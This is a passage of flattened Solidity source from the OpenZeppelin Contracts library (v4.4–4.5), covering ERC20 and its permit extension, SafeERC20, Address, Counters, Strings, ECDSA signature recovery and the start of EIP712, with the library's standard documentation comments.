{IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol) pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* 